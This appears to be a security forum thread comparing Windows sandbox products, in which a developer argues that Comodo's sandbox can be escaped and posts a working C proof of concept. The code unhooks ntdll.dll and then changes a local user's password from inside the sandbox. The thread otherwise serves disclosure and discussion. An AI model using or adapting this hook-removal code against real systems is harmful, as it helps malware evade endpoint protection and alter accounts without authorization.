Cybergenic Shade-sandbox tool

It's not that I forget, I just simply don't know what is such application.

 

Comodo, probably.

 

Shadow Defender?

 

Surely, Comodo Firewall with CS settings.

 

Yes, it had potential and it's actually still alive, but only for corporate usage. Too bad that they don't offer it anymore for consumers. On the other hand, just like SafeSpace it was a bit too heavy. And I actually can't remember if I ever tested GreenBorder which was bought by Google. They bought them so that they could work on Chrome's sandbox.

https://bufferzonesecurity.com
https://en.wikipedia.org/wiki/GreenBorder

My apologies! I somehow keep forgetting about Comodo, from what I understood from your testing it's pretty good when it comes to sandboxing. But I still don't consider it to be a true replacement of Sandboxie, for example you can't actually install apps sandboxed right?

 

Hi,

hxxps:// www. youtube.com/watch?v=CjKSYsBc3-c

Enjoy! Current review.....

 

I am 4eady to watch it

 

Comodo's sandbox is not escape proof, its quite easy to breakout actually as they are not filtering RPC calls at the kernel level only using user mode hooks which always can be bypassed.

 

Thanks for letting me know! So Sandboxie is then definitely more secure than Comodo, because security tools should never rely only on user mode hooks.

 

@cruelsister, your response?

 

If the poster indeed has something that would result in system changes at the Restricted level (which is essentially equivalent to SBIE) I would be more than happy to evaluate the claim; otherwise not much I could say...

 

The comodo firewall does not enforce the ALPC port restrictions at the kernel level, if you unhook the userhooks in ntdll.dll and in rpcrt4.dll
an elevated sandboxed process can communicate unhindered with variouse system services and for example change the user password, delete a user, or even start a unsandboxed process.

I'am not sure if there actually is a way to deffent against this, other than running the process with a heavily restricted user token like sbie does, as the windows kernel does not seam to provide any callbacks to filter these communication.

 

So are you saying that malware running inside the Comodo sandbox can unhook stuff? Or does malware needs to be running outside the sandbox? But if it does, then there is no need to unhook stuff anymore of course.

 

I'm saying that any malware can unhook or bypass anything hooked in user mode.
In the case of Comodo sandbox I'm saying that a process running inside the sandbox can evade and or disable the hooks controlling the ALPC communication and those bypass the sandbox isolation.

Further more I am saying that with the current security architecture of Comodo sandbox this class of exploits can not be blocked.

 

Can you look into that in some spare time to determine if that's definitely the bottom line result.

Because if there aren't any "callbacks to filter the communication" then indeed that is a issue.

Good knowledge you pass along there @DavidXanatos

Kernel Land rulez over UserLand.

 

In other words you are saying exactly what I already thought you said. So purely from a technical point of view, the Comodo sandbox isn't as secure as Sandboxie. Perhaps a dumb question, but keep in mind that I'm not a developer, but are the SandboxieRpcSs.exe and SandboxieDcomLaunch.exe processes responsible for managing stuff related to ALPC communication? Also, what about the sandbox in Avast and 360 Total Security, are they also of a lower quality?

https://en.wikipedia.org/wiki/Local_Inter-Process_Communication

 

BTW, what about this stuff, they do mention virtualization of DCOM and RPC. So you would think this is also implemented in Comodo AV? Or is this not related to what you mean?

https://techtalk.comodo.com/2020/08/17/comodos-patented-kernel-api-virtualization-under-the-hood/

 

The issue is with where the virtualization takes place, a purely user mode approach like theirs can be always bypassed by a rogue application.

 

is this all in "theory" or have you bypassed comodo's sandbox? there can always be claims, but without real-life proof, it's just speculation...

 

Yes I could quite easy escape it,
besides the fact that user mode hooks are unreliable is no secret knowledge but a wide known fact.

There is also a old issue report: http://rce.co/why-usermode-hooking-sucks-bypassing-comodo-internet-security/
that still applies "Another issue that arises from the current implementation of Comodo HIPS or any other usermode hooking security products is the fact that applications can modify any memory page in their private allocated address space."

Please note that on native 32 bit systems you can hook variouse kernel functions hence filter whatever you want in the kernel space. On 64 bit windows this is _NOT_ possible due to the PatchGuard feature, meaning you can only use documented API's to "hook" into certain operations, this is possible for file access and registry access, but there are to my knowledge no suitable callout's implemented by MSFT to filter ALPC communication.

And according to my experiments the current implementation of comodos sandbox once the user mode hooks are removed doe snot provide and isoaltion on ALPC RPC calls.

 

https://rce.co/why-usermode-hooking-sucks-bypassing-comodo-internet-security/
Posted by George Nicolaou on May 13, 2012 so in essence that carries no weight, in the yr 2021 proof is a must and that topic isn't proof and as a developer you should know better. For the most part in the yr 2021 that is misleading without solid proof.
How on god's green earth can a developer slap a 9yr old topic on a software without solid proof and try to convince members it is still relevant up to this day that's just slander.

 

First of all you are wrong with asserting that information only because its old is automatically obsolete, the issues described in that post are as actual today as they were back then.
The x86/x64 CPU's did not change that much and neider did windows under the hood.
But if you want something new here us a run down of a large amount of methods to bypass usermode hooks: https://www.mdsec.co.uk/2020/12/byp...ect-invocation-of-system-calls-for-red-teams/
And an other approach to evade usermode hooks https://winternl.com/memfuck/

 

I hacked together a very basic example, it unhooks ntdll.dll and after doing so is able to change the users "test" password to "test123" the demo is to be run in the comodo sandbox and needs admin privileged
it first demonstrates that when we only try to change the password comodo blocks it as it should
but than it unhooks the ntdll.dll hooks and the same call successfully changes the password
Please also note that you need a copy of ntdll located at c:\test\myntdll.dll, i was to lazy to add code to copy it from c:\windows\system32\ to this example

Code:

#include <Windows.h>
#include <Lm.h>

#pragma comment(lib, "Netapi32.lib")


#include <iostream>
#include <winternl.h>
#include <psapi.h>

void unhook_ntdll()
{

   HANDLE process = GetCurrentProcess();
   MODULEINFO mi = {};
   HMODULE ntdllModule = GetModuleHandleA("ntdll.dll");

   GetModuleInformation(process, ntdllModule, &mi, sizeof(mi));
   LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll;
   HANDLE ntdllFile = CreateFileA("c:\\test\\myntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
   HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
   LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0);

   PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase;
   PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew);

   for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) {
       PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));

       if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {
           //printf("mapping %I64X", ((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress));
           DWORD oldProtection = 0;
           bool isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);
           memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize);
           isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);
       }
   }

   CloseHandle(process);
   CloseHandle(ntdllFile);
   CloseHandle(ntdllMapping);
   FreeLibrary(ntdllModule);

}


#include <Objbase.h>
#include <Upnp.h>
#include <wsmandisp.h>
#include "wsmandisp_i.c"

int main()
{
   DWORD parm_err;

   USER_INFO_1003 param = { (LPWSTR)L"test123" };

   DWORD ret;

   ret = NetUserSetInfo(NULL, L"test", 1003, (BYTE*)&param, &parm_err);
  
   printf("this should fail: %s\r\n", ret == NERR_Success ? "success" : "fail");

   unhook_ntdll();

   /*

   //   i remember i needed this code to for it to work but when testing now it seamed to work even without it strange
   // anyways the address is hardcoded and the unhook bytes as well so this code would work only on win 10 1903

   bool unhook = 1;
   if (unhook)
   {
       UCHAR bytes[] = { 0x40, 0x53, 0x56, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57 };

       __int64 target = 0x00007FFF523F8800; //{rpcrt4.dll!NdrpClientCall3(void)}

       DWORD oldProtection = 0;
       bool isProtected = VirtualProtect((LPVOID)target, 0x1000, PAGE_EXECUTE_READWRITE, &oldProtection);
       memcpy((LPVOID)target, bytes, sizeof(bytes));
       isProtected = VirtualProtect((LPVOID)target, 0x1000, oldProtection, &oldProtection);
   }


   //for (int i=0;!i;)
   //{
   //    ret = NetUserSetInfo(NULL, L"test", 1003, (BYTE*)&param, &parm_err);
   //}
   */

   ret = NetUserSetInfo(NULL, L"test", 1003, (BYTE*)&param, &parm_err);

   printf("this should succeed: %s\r\n", ret == NERR_Success ? "success" : "fail");

   return 0;
}

 

Tell that comodo and they want you dead.
want to ride a high horse but the deeper they will fall.
i read too much fun about these clowns in the past 10 years.

 

OK I see, but I just can't imagine that they have implemented it in this way even in Comodo Endpoint Security? Perhaps you can also check out Avast and 360 TS. It's pretty hard to believe that malware can unhook stuff even when running sandboxed and have limited privileges.